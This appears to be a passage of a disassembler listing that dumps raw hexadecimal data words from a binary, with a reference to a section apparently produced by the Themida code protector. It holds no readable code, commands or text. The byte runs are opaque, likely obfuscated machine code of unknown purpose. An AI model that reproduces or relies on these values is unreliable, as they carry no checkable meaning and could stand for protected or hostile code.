		dd 8F0Fh, 9D890000h, 7E40089h, 0C5E78166h, 55006AFBh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0E6C3BF61h, 50F28DC2h, 13E805h, 3E070000h, 5539FFAFh
		dd 3542F4D2h, 0B85F5A70h, 5132FAD0h, 0CF815F5Bh, 41F810A3h
		dd 0FFF800E9h, 0BE8FFh,	89190000h, 1F30917Eh, 2971A446h
		dd 159D89F9h
		db 0Bh
byte_5C53C9	db 0E4h, 7, 5Fh		; DATA XREF: Themida_:00582F38o
					; Themida_:00584F6Co
		dd 0B70FC18Bh, 1B58BF1h, 0EB07E433h, 4,	21B58900h, 0E907E433h
		dd 12h,	0B0C3715Eh, 0E1C3B043h,	0EEA0EEC2h, 32D5AED6h
		dd 858D47B2h, 7E40D85h,	8E96060h, 7C000000h, 9984321Fh
		dd 0FDE7079h, 87h, 0A1BA6100h, 61086E31h, 29BE5250h, 5F2CC21Ch
		dd 89240489h, 0E40455BDh, 0BD8B5007h, 7E43355h,	6A006A5Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 58F7C355h, 53D9D89h, 6A07E4h, 279B8BEh, 8B46BE25h
		dd 858D1DF4h, 7E83107h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 2C35040h, 5FEAB1ECh, 3D88C08h, 0FF0B70Fh
		dd 385h, 0F7B70F00h, 3105C083h,	0E419958Dh, 0BE95007h
		dd 8A000000h, 0C2DB3453h, 35B36630h, 489F967h, 0E1BD3124h
		dd 6A07E41Bh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 2627DB77h, 6ACFE1h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 87C35343h, 41550EC8h
		dd 0CF8163DEh, 65FD6A4Bh, 247195FFh, 6A07E4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0A02CBDC3h
		dd 8DE045FCh, 0E7D64B9Dh, 7830F07h, 60000000h, 0B0D98B66h
		dd 0D3FF61F4h, 5CB8D8BFh, 0B985FF72h, 6A07E420h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0E75C350h, 0DA9599B8h, 0B093BF31h, 0AE8h, 88B47900h
		dd 5082E01Ah, 0E9A5B0F5h, 5, 0B6F34A67h, 0CFE95E6Dh, 0E8000008h
		dd 0
		dd 11ED815Dh, 8907E831h, 0E41469BDh, 0D5BD8107h, 0D007E42Ah
		dd 0F000007h, 1E486h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 3C270157h, 0C59D8BC8h
		dd 6A07E41Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0A9FCC352h, 338349EFh,	88F0F52h
		dd 57000000h, 850Fh, 815E0000h,	100E3h,	56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 0BF74BEDDh, 31B98D29h, 0BF507E4h, 0B3850FDBh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 84E9C352h, 1F32304Eh, 89751368h, 0E42DD58Dh
		dd 4EBD8307h, 7E82Fh, 3D840Fh, 8D290000h, 7E41395h, 0B0E9h
		dd 0DE800h, 0C0100000h,	250CB52Ch, 0A134A1E4h, 0E8924AA4h
		dd 12h,	4AB636FBh, 93EC647Ch, 64654D2Fh, 83694337h, 5FFCA613h
		dd 8D8D895Eh, 0C707E419h, 0E82F4E85h, 107h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0DD204B7h, 0CE7E1C51h, 8DBD0139h, 0E907E41Fh, 45h, 16ADB58Bh
		dd 85C707E4h, 7E82F4Eh,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 73C35343h
		dd 45D9531h, 0EE907E4h,	8E000000h, 0AB0E26EAh, 0DD8611FEh
		dd 0A7600E2Dh, 0C59D8D42h, 6A07E41Ah, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 7BFEC351h
		dd 28537E3Bh, 3DFA5D2Ch, 81FB8B66h, 0FFFEFF23h,	51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 68D0F09h, 89000000h,	0E404D185h, 6850F07h, 8B000000h
		dd 0E430B9BDh, 0DB8C6607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0FEC35545h, 37B9FE83h, 0F98B667Eh, 0F04C3F6h
		dd 2484h, 0C18D8900h, 0FF07E41Eh, 0E42D9195h, 62CF8107h
		dd 9025FB3Bh, 303CAABFh, 2390501Dh, 0E41C31BDh,	10BF6607h
		dd 442E912h, 8D090000h,	7E4159Dh, 0BD3100B0h, 7E422C5h
		dd 0EE970E6h, 55000000h, 3D193232h, 0CCC16018h,	0B2BA78CAh
		dd 6810F5Fh, 9000000h, 0E40A859Dh, 6A71E407h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0D136C357h, 60A78241h, 1A58589h, 895207E4h, 0E421F9B5h
		dd 0F615F07h, 6AD8B6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0A59B95C3h, 6BAh, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 5AAF332Eh, 23013B74h, 0BD8B5906h, 7E42D95h, 6AC38Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0F0C17C3h, 89B509F8h, 0F07E425h, 86h, 4E8C100h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 40C35242h, 8B5757C2h
		dd 0E43181BDh, 0F7665E07h, 56006AE2h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FEE46F9h
		dd 0D82BF2B7h, 9C18D89h, 9D8907E4h, 7E4186Dh, 8B666050h
		dd 61F98BC7h, 60241C89h, 61F18B66h, 2AD5B5FFh, 860F07E4h
		dd 6, 58C9CF81h, 95FF6378h, 7E40E41h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 93C35040h, 0D05E3A6Ah, 91BD8B60h
		dd 0B007E423h, 9DBD8B00h, 0E607E414h, 57006A70h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 10998D13h, 2C9B169Bh, 8B71E4C6h, 0F613CFBh, 27F83h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 914166Ah, 15F632D1h, 0DE817690h,	1249FFAFh
		dd 6AD8B60Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 49C3C355h, 0E935391Fh,	6, 5E3289A5h
		dd 8589E258h, 7E415D1h,	6BAh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 820FC294h
		dd 0Dh,	8E9h, 5157EE00h, 0ED48A5C6h, 89C38BD5h,	0E41415BDh
		dd 0E8BE6607h, 4E8C1D9h, 6AE2F766h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0F28C352h
		dd 57830D44h, 0FB8B660Ch, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 44A220C3h, 0AB789176h
		dd 0BE92930h, 0F7000000h, 0C670F1ABh, 0D1662E96h, 6A587851h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 25BEC356h, 0FD82B0Eh, 15788h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 62B562FBh, 7B9h, 0F7816600h,	0C183B18Ah, 79B58B00h
		dd 3B07E402h, 1D860FD9h, 6A000001h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 7B29C356h
		dd 4CFBB30Ch, 10E9B35Ah, 0AA000000h, 53685F8Ah,	92518B92h
		dd 6BA1E5D1h, 661D5242h, 0F6F8D98Ch, 840F04C1h,	0A2h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 76C35040h, 0FF2C78BCh
		dd 0E42D9195h, 0F1958907h, 5B07E423h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 3EC35646h, 36808BA3h, 30D8131Dh
		dd 6E9DCh, 3ACC0000h, 0BE62FAA0h, 6AC32Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 26EB7FC3h
		dd 6E9h, 1C240400h, 3DE42DC3h, 834h, 10860Fh, 0AABE0000h
		dd 0E96A298Dh, 3Ch, 89B6D781h, 0C08B0EABh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 34C35040h, 8CF211F2h
		dd 0BD8B35AAh, 7E431D5h, 68E0Fh, 0BD8B0000h, 7E42D61h
		dd 0D88BC38Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	11C35040h, 0EAAA3B07h, 0FA00CBAh, 782h,	1870F00h
		dd 0FC000000h, 96585C7h, 115107E4h, 6A7168h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0B02BB6C3h
		dd 8BAB695Bh, 0D18589C0h, 8107E404h, 0E42AD5BDh, 7D007h
		dd 34850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 40E3C356h, 0FF579CB7h
		dd 6694E8D1h, 12B4EE81h, 2AD585FFh, 0B2BE07E4h,	0FF2777D9h
		dd 0E42AD5B5h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 29610F6Bh, 0E431C58Dh
		dd 4195FF07h, 0E907E40Eh, 0Ah, 0ECC6163Ch, 2F5534F5h, 319081BFh
		dd 0E40BA5B5h, 58E0F07h, 0BE000000h, 4AD87B76h,	3C58D29h
		dd 6A07E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 6E927CC3h, 8817F742h, 0CE8h, 0C7C1FD00h
		dd 0EFD7BEBEh, 0A43D4D77h, 82EEBFE6h, 295F1279h, 0E4307DB5h
		dd 0F8BF0F07h, 0FF7BF0Fh, 68Eh,	31B58900h, 8907E41Fh, 0E40EE1BDh
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 61A3DCEAh, 34D70DD0h, 0FDB5234Fh, 8B07E42Ah
		dd 5B503FBh, 0BE07E40Ah, 6222BEA3h, 0D558589h, 0F9F907E4h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0C0C35747h
		dd 89772531h, 0E41AB5B5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 22880F4Dh
		dd 60000000h, 0BE8h, 99CB100h, 4791549h, 0B13DC8ACh, 2958535Bh
		dd 0E421018Dh, 3161F507h, 0E4042185h, 75BD8B07h, 0E907E40Bh
		dd 0FFFFF753h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0F5C35141h, 0A12E2BD4h,	2AE98D5Eh, 3E000000h, 49AB69h
		dd 9 dup(0)
		dd 58AE900h, 8D650000h,	0E8C1D76Bh, 421E34C8h, 9F7E9428h
		dd 6E1F78Bh, 777D56EAh,	53E703DEh, 0B145633Dh, 13A7BD9Bh
		dd 740820FDh, 0EF9411C1h, 6B13AA9Ah, 79569726h,	805B2961h
		dd 0DDBAD064h, 0E2BF8DC5h, 6CA4B897h, 4D6B45D1h, 0C542A4F4h
		dd 1442A03Eh, 17688861h, 44D69CAEh, 0A09E65E2h,	0CC3C1442h
		dd 0D6919A00h, 8D9FF8F4h, 427A9A73h, 48809674h,	0FA869C7Ah
		dd 15CC041Eh, 0D653063Eh, 14423C21h, 0C9EB44ADh, 4825184Ch
		dd 0A8869C30h, 0AE8FE92h, 14EEBCF4h, 2E08A6F6h,	8138FE10h
		dd 0A583FAAAh, 0AF21FB8Fh, 0BD9B3170h, 224147A7h, 0C7A45BD8h
		dd 0C9321442h, 67445E70h, 8561FF4Fh, 0E693596Bh, 1442C714h
		dd 0BA90B09h, 0D6AD182Ch, 841442C7h, 386C091Bh,	5BAA7B84h
		dd 50AB1DE0h, 42709FC6h, 0BEFD9CAEh, 1D000000h,	548CA07Fh
		dd 92D2A7B9h, 9FB39230h, 9A61CC67h, 381442A0h, 4FA8BE9Ch
		dd 2E46233Dh, 0A0B449F6h, 0B06D1442h, 1137C8F4h, 0DA0E05Ch
		dd 0C0000000h, 8726F24Eh, 88648889h, 2E03156Eh,	4E2A7D56h
		dd 861FC34h, 0C2A03ED0h, 0A7809AACh, 35C53787h,	0E0F2B89Ch
		dd 2C09EE6Bh, 5CC51442h, 5D2BF103h, 7C1A6A7Eh, 804E86A0h
		dd 21338CA2h, 90B18D5Bh, 0CBC9B2B0h, 0CC045D77h, 0B9426C2Ah
		dd 0CC58A7E6h, 1922CEF1h, 0FD428FB7h, 8B086CA4h, 6D8964DBh
		dd 1F419A35h, 0D8E5C361h, 42ECA45Bh, 70C93214h,	758D6A38h
		dd 396D0A1Ch, 0B94D6D46h, 1AAEC6A3h, 0DC90CE40h, 3CBB2525h
		dd 0D9EB4462h, 5F7B5604h, 69805927h, 42A017ECh,	0B047C414h
		dd 1E1442A0h, 0A2FB64B5h, 23632C6Ah, 0B145613Ch, 7B9FBE9Bh
		dd 38D3B258h, 14A6DE37h, 467E9C76h, 0A37F99ABh,	0A9835189h
		dd 0A685538Bh, 0CCA35A92h, 6F80D898h, 0B3A88737h, 986DE05Bh
		dd 96000000h, 275F7B56h, 13637D59h, 2EFAF3A1h, 0C1D33F77h
		dd 38502DFBh, 86745E00h, 0C9797729h, 1048603Dh,	3B772FACh
		dd 75E89C19h, 902E7E9Ah, 698B9DB1h, 50297853h, 2EC7BC39h
		dd 2A931442h, 724078D1h, 331B7893h, 0BEFBB604h,	98771565h
		dd 0FF1FF884h, 541A2CC7h, 0C1FDA9BAh, 0E05C016Eh, 69A8F668h
		dd 579A3D8Dh, 5CA645h, 54C60000h, 9880D4DFh, 6F896549h
		dd 562F0416h, 59275F7Bh, 0AF16E7Bh, 0C81442A0h,	0A014EB68h
		dd 59C21442h, 8E6FA700h, 9E45B0Bh, 568859EDh, 6F0D5D7Dh
		dd 536B4891h, 0C727801Bh, 0E421679Ah, 4E142678h, 4219DFA1h
		dd 5F07C414h, 8B9F7E1Ch, 0CBA6B853h, 0E05B5834h, 1A1h
		dd 7A56CA00h, 7D5A2860h, 0E4A31565h, 0C88123A9h, 21EFB5C7h
		dd 22F02848h, 60F22A48h, 422D1CE3h, 2F51BA14h, 49BEF2B2h
		dd 6F4B3272h, 0EDA2C155h, 0BEF471C1h, 7D13A61Ch, 8A9E7D1Bh
		dd 0B74CB752h, 2313A61Eh, 1EB146C3h, 0B41D13A6h, 16A495Bh
		dd 31C537C9h, 0A737B44Ah, 20798D6Ch, 0FF17F40Eh, 2D78556Bh
		dd 0A4DC3553h, 0A60706F7h, 4BFB7E13h, 7D957210h, 5C74516Bh
		dd 0BDD5B2C8h, 0C2DAB785h, 0C3834C8Ah, 0C50B2698h, 0C726C50h
		dd 0EB03E0FAh, 0A7F8057h, 2758D878h, 81000001h,	5D39424Dh
		dd 1D9AEA43h, 13A6BE43h, 0E658A811h, 0F5D1AB38h, 0E5B97BDBh
		dd 9D79DAFh, 0A680142Ch, 8330C744h, 359E13A6h, 142C0923h
		dd 6BE84ADCh, 13A68394h, 0B2C8A642h, 7486DF7Ah,	15657D5Ah
		dd 6F819B77h, 0E2A26BA9h, 204019B7h, 21411AE8h,	0E3F54EE9h
		dd 40D4ECC9h, 1703F466h, 0CAE509E4h, 1D7D80E9h,	0A1B3A079h
		dd 77CA39C6h, 4A9ED8h, 4CBE0000h, 12B00B1Fh, 8B607243h
		dd 1A6A444Dh, 0BD5F069Dh, 40E3556Bh, 70F4FF7Eh,	9801E0F2h
		dd 0B7CBAA48h, 4D32DFA5h, 0CE94427Bh, 0D3A1D9F1h, 67A5DDF7h
		dd 0ADAAE69Eh, 0DBB6BEE6h, 910683D3h, 0BDEBBD84h, 6BF2C054h
		dd 81000000h, 1C6C424Dh, 0A6B9F59Fh, 0FA329B13h, 0F2890668h
		dd 6013A6BAh, 0EECBE5F7h, 4F2C42D6h, 0B6DFF37h,	0A6BAE98Eh
		dd 70FC6513h, 0A43F7797h, 0BA199992h, 591D13A6h, 0B0C2E2BBh
		dd 0FEC5313h, 0EB8963F7h, 0BDE0F212h, 0F8CDCD2h, 144E828Ch
		dd 532159C2h, 700E5E76h, 0A7427A94h, 4118CF95h,	307E1105h
		dd 0CC7863E0h, 0AD161C66h, 424D4819h, 0B9455B39h, 1C6CC5DBh
		dd 0AA993C9Fh, 0D9B55313h, 7AA911B8h, 55E5E6Ah,	412032CDh
		dd 0F5D2A0D8h, 58B1D1AAh, 0B9D1AEC4h, 0FFE7D481h, 25A25DE9h
		dd 921FE61h, 6A825F75h,	71856432h, 778D6B39h, 7B95713Fh
		dd 431CA843h, 870AEB23h, 471E93DFh, 2B43201Fh, 8CA48197h
		dd 0FCE54h, 925D0000h, 9DFD19F4h, 2424B0F1h, 775A6C70h
		dd 5C7E5628h, 61795624h, 677D5B29h, 6987612Fh, 6C886331h
		dd 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h, 8956EE43h
		dd 4C681E6h, 83000000h,	0FF5604EEh, 5E042474h, 5C24048Fh
		dd 4EC81h, 14890000h, 0E3895324h, 4C381h, 0EB810000h, 4
		dd 5C241C87h, 68240489h, 7E83A0Fh, 8124148Bh, 4C4h, 48B5400h
		dd 4C48324h, 27F268h, 24148900h, 0FF08408Fh, 81582434h
		dd 4C4h, 24148B00h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 0FC3E6AE9h, 40B1A2FFh, 6D1D20F5h, 0E83F1BB8h, 0FFC50307h
		dd 0F885ABE0h, 17FBA12Eh, 778DF130h, 0E182EE67h, 2E561569h
		dd 63E0B85Ah, 68274667h, 62B4FF70h, 8BE0365Ah, 2C594243h
		dd 64D06F5Dh, 589DBB56h, 0F629A305h, 0F3F4B60Ah, 0AB46DD54h
		dd 0C1ED5D29h, 3F516138h, 4E368A3Ch, 9953C429h,	694D4806h
		dd 0E9C18B52h, 9, 12DCE2Ah, 0E0AD7D5Dh,	4EBDFh,	8B000000h
		dd 0E401A1BDh, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 24F49CA6h, 0B7E2348Ch
		dd 85858D4Eh, 6607E40Dh, 9170C781h, 24048950h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 76C35747h, 2AF691CCh
		dd 759D89C8h, 6A07E415h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 12C53CD2h, 2BC0A5CEh
		dd 81666DCAh, 6A3D55D6h, 94858D00h, 0F07E841h, 68Bh, 3D9D8900h
		dd 8307E405h, 0E89005C0h, 9, 0A6F3BA9Bh, 0D71C02Bh, 53505F6Eh
		dd 5F616051h, 6A905Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0F4F167C3h, 236D813Bh, 0F5B80C12h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 7D96C7C3h, 9DE8A018h, 29006AF6h, 0E41C3985h
		dd 13E907h, 0E2580000h,	0D4B16EF3h, 0E4A280B7h,	806CF5B4h
		dd 0DA833A01h, 7195FF1Fh, 0BE07E424h, 763B83CEh, 0D64B9D8Dh
		dd 10E907E7h, 9000000h,	90A9E7FEh, 0F572C3Ah, 0C43CC39Dh
		dd 8B2C298Ah, 0E41A09BDh, 89D3FF07h, 0E41C7DBDh, 0B985FF07h
		dd 6A07E420h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 1F1BC356h, 3817A79Bh, 47CF8166h
		dd 0E1BD03E8h, 0E907E422h, 8AAh, 0E8h, 0ED815D00h, 7E8419Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 39C35747h
		dd 8D01DA12h, 7E42ACDh,	2AD5BD81h, 7D007E4h, 860F0000h
		dd 179h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 17h,	0B7C35141h, 81587F5Fh, 29A450CEh, 5E902h, 21E10000h
		dd 8BD2C97Dh
		dd 0E406FD9Dh, 68F0F07h, 8B000000h, 0E415E1B5h,	0E38107h
		dd 0F000001h, 13E9F0BFh, 3C000000h, 0D981EFD1h,	0B92FFFF5h
		dd 0FC8957D6h, 53293B1Ch, 0DB0B475Dh, 8F850Fh, 8D290000h
		dd 7E41459h, 4004BD83h,	0F0007E8h, 3C84h, 4ABF6600h, 0A9E9B4h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0E9121DC3h, 11h, 0E7CC4CB5h, 0B4C17817h
		dd 0CDDF3750h, 73029C6h, 485C710h, 107E840h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0AC27C356h, 568778FDh, 552E9756h,	279B58Bh
		dd 3CE907E4h, 29000000h, 0E40AE995h, 485C707h, 7E840h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8980C353h, 0E41AC985h,	5E907h
		dd 0D0A00000h, 8D42FF32h, 0E406FD9Dh, 6810F07h,	89000000h
		dd 0E41FA985h, 0FF238107h, 6AFFFFFEh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 33FAC353h
		dd 0E2ACF63Bh, 8B661ABFh, 6810FF2h, 1000000h, 0E4067995h
		dd 0DB8C6607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0C6C35343h, 4C3F615h, 42840Fh, 95FF0000h, 7E42D91h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0FC35545h
		dd 0BD29D926h, 7E424CDh, 8820F50h, 60000000h, 310F5250h
		dd 8961585Ah, 95312404h, 7E42AEDh, 4A3E9h, 81B58B00h, 0B007E414h
		dd 0EE900h, 0F3070000h,	5EBDA5FDh, 2A9F8DF1h, 0ED694517h
		dd 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0BF49A3C3h, 671DA23Bh, 12E9h, 0E58E7A00h
		dd 2399BE28h, 737B769Eh, 0C7BFC543h, 0E4A46EDCh, 0CDB50371h
		dd 0F07E429h, 890FD8B6h, 10h, 0BE9h, 47DCEE00h,	102BD665h
		dd 524EF65Dh, 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 529E2703h, 0FB03D41h
		dd 1483h, 0FE900h, 0E5A40000h, 7B05F1C6h, 67360A38h, 6CF761A0h
		dd 6AC38B8Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 7C3EC353h, 5D9D8998h, 8B07E405h
		dd 4E8C1F2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	6FC35747h, 9556F446h, 8937F501h, 0E413ED8Dh, 0E2F76607h
		dd 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 14208C3h,	68AE5364h, 14E898h, 95F50000h
		dd 0AFB16B2Eh, 61EDFC08h, 0B4A57A7Ah, 0A88248D4h, 8B66DDF7h
		dd 50935FFAh, 6E952h, 0E5DA0000h, 4253D8FCh, 28BE310Fh
		dd 5A42CEA7h, 0EDBE5058h, 9305E9F8h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 4EC35343h, 0D5B5FF19h, 0E907E42Ah
		dd 8, 835240D8h, 462EB6F2h, 0E4195FFh, 6A07E4h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 76D0E4C3h, 7E233955h, 357DD8Bh, 0E41BDDB5h, 0B05F07h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0C9C35040h
		dd 38530E1Eh, 0FC8C5B2h, 70E6F3B7h, 5E860h, 99790000h
		dd 0F99E02A4h, 79B5895Fh, 6107E42Dh, 9D8971E4h,	7E40991h
		dd 830F613Ch, 284h, 18158D89h, 0B60F07E4h, 6BAD8h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0D81DADC3h, 3BACE58Ah, 0C9B51BFh, 6AC38B07h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0F1AAC350h, 1CB4ED21h, 0FEB9273h, 0E8C1FEBFh, 51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 26A0F657h, 0F76664C4h, 53006AE2h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 8BD82BA1h
		dd 0E42C6DB5h, 6A5807h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 210239C3h, 0E9F8FED8h, 7, 7F34C727h
		dd 2B6B4907h, 0A5880FD8h, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0AF81C350h
		dd 9F714218h, 0CF3F5BEEh, 7B9h,	0C18300h, 7E8h,	0E96AE000h
		dd 0C25D8436h, 0B8D0Fh,	6E90000h, 0E4000000h, 3E41353Dh
		dd 0D93B5E21h, 152860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 93C8D2C3h, 0BFC26AEBh
		dd 507BC1F9h, 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 16B6C357h, 0EDAC77C8h
		dd 7DB58B51h, 0F607E415h, 840F04C1h, 0F1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D3C35040h, 4D6156E8h
		dd 958AE8F7h, 95FFFC4Dh, 7E42D91h, 52006A5Bh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0E8E12989h
		dd 71B8B6C4h, 0F59D8915h, 2B07E420h, 55006AC3h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BF660261h
		dd 343DE2E2h, 0F000008h, 6C86h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0C5B4F4ACh
		dd 77F541DAh, 0BE9D3h, 455A0000h, 0DE55DD3Eh, 8C1C9FAFh
		dd 0DE9ACh, 0E1600000h,	0C768901h, 0B08FBDDCh, 0E93CD8BFh
		dd 28h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h
		dd 4C35646h, 0A873F2EEh, 0BEC08B9Eh, 2CE41AEBh,	0D88BC38Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 81C35040h
		dd 85C78DE4h, 7E41AC5h,	7378471Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 51C35141h, 0EE966h,	217D0000h
		dd 0AFAD7241h, 47EA49F4h, 0D22E8A13h, 0BD81C08Bh, 7E42AD5h
		dd 7D0h, 10850Fh, 0B5290000h, 7E4181Dh,	2AD585FFh, 0BF6607E4h
		dd 0B5FFED33h, 7E42AD5h, 29BD8529h, 0BD8B07E4h,	7E42DC5h
		dd 0E4195FFh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8BB116C3h, 0E41A71BDh, 49BD8B07h
		dd 9007E426h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	46C35040h, 8BC40B36h, 0E41531B5h, 0CE907h, 2BBC0000h
		dd 0D45FE636h, 2251BB75h, 6A64BCh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 8DCECAC3h, 9D292F26h
		dd 7E43329h, 6AFA8Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0D2AF9BC3h, 0F986F5F6h, 0F18D2980h
		dd 0E907E431h, 9, 625378E9h, 538C51DDh,	1BC68156h, 814DE307h
		dd 0C80BFDF7h, 0E820F16h, 60000000h, 0C3AACB81h, 85895352h
		dd 7E42525h, 50006A61h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0E635B0E5h, 0C870FDCh, 8B000000h
		dd 0E40D45BDh, 6DBD8B07h
		dd 6A07E405h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 2E8FC351h, 0A997073Dh,	8D0953A0h
